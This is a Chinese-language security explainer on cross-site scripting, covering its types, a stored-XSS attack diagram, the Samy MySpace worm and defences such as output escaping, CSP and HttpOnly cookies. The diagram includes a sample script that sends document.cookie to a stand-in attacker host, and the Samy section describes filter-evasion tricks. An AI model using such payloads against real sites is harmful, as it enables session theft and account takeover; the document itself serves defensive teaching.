跨站脚本攻击 (XSS)
1. 定义
跨站脚本攻击 (Cross-Site Scripting, XSS) 是一种注入漏洞,当应用在未经过滤或转义的情况下,将不受信任的数据包含在网页中时就会发生。这允许攻击者在受害者的浏览器中执行恶意脚本(通常是 JavaScript),且该脚本是在受影响网站的**源(Origin)**下运行的。
由于恶意脚本是由受信任的域名本身提供的,攻击者借此绕过了浏览器的同源策略 (Same-Origin Policy, SOP)。
2. 技术原理
浏览器通过解析 DOM 中的 JavaScript 来实现交互。如果攻击者能将 <script> 标签或事件处理器(如 onload)注入到 DOM 中,浏览器将无法区分它是合法代码还是恶意代码。
主要分为三种类型:
- 反射型 XSS (Reflected XSS):有效负载通过请求(如 URL 参数)传递,并立即在响应中反射。通常需要受害者点击恶意链接。
- 存储型 XSS (Stored XSS):有效负载被保存到数据库(如评论、个人资料),之后被发送给其他访问该页面的用户。
- DOM 型 XSS (DOM-based XSS):漏洞存在于客户端代码中,代码使用不安全的源(如
location.hash)来修改 DOM,而不经过服务器。
3. 攻击流程 (存储型 XSS)
sequenceDiagram
participant Attacker
participant Server as Web 应用
participant DB as 数据库
participant Victim
Attacker->>Server: 1. 发送 POST /comment ("<script>fetch(attacker.com?c=document.cookie)</script>")
Server->>DB: 2. 保存评论 (未经过滤)
DB-->>Server: OK
Note over Victim: 稍后...
Victim->>Server: 3. 访问 GET /comments
Server->>DB: 获取评论
DB-->>Server: 返回包含攻击负载的评论
Server-->>Victim: 4. 返回包含恶意脚本的 HTML
Victim->>Attacker: 5. 脚本执行 -> 发送 Session Cookie
Note right of Victim: 账号被接管4. 真实案例:Samy 蠕虫 (MySpace, 2005)
目标: MySpace 用户个人资料。 漏洞类别: 存储型 XSS。
Samy Kamkar 发现 MySpace 允许用户使用 HTML 自定义个人资料,但过滤了诸如 <script> 之类的明显标签。
绕过方式:
- 过滤器规避: MySpace 封锁了
href属性中的 “javascript”,但 Samy 发现浏览器会忽略换行符:java script。 - CSS 注入: 他将负载注入到 CSS 的
background属性中:background:url('java script:...')。 - 有效负载: 该脚本执行了两个操作:
- 将 “Samy” 添加为好友。
- 编辑受害者的个人资料,以复制这段恶意代码本身(自我复制)。
影响: 在 20 小时内,超过 100 万用户 被感染。MySpace 不得不关停整个网站以清理数据库。这被认为是史上传播速度最快的病毒。
5. 深度防御策略
A. 上下文感知输出转义 (Context-Aware Output Encoding)
转义必须根据数据所处的位置进行针对性处理。
- HTML 正文: 将
&,<,>,",'转换为实体(如<)。 - HTML 属性: 必须使用带引号的属性,并对属性值进行转义。
- JavaScript 变量: 使用 Unicode 转义序列(如
\u003c)。 - CSS/URL: 使用严格的 URL 编码。
- 工具: 使用自动上下文转义引擎(如 React/Angular/Vue 的默认行为,或 OWASP Java Encoder 等库)。
B. 内容安全策略 (Content Security Policy, CSP)
这是一种浏览器层面的防御,用于限制可以加载资源的来源。
禁用内联脚本: 阻止
<script>...</script>代码块运行。设置允许来源: 仅允许来自
self或受信任 CDN 的脚本。基于 Nonce 的 CSP: 为每次请求生成随机 Nonce,只有带有匹配 Nonce 属性的脚本才能执行。
Content-Security-Policy: script-src 'nonce-random123' 'strict-dynamic';
C. HttpOnly Cookie
将会话 Cookie 标记为 HttpOnly。
- 这可以防止 JavaScript 通过
document.cookie访问 Cookie。 - 虽然它不能阻止 XSS 本身(脚本仍可发起请求),但它能有效防止简单的 Session 令牌窃取。
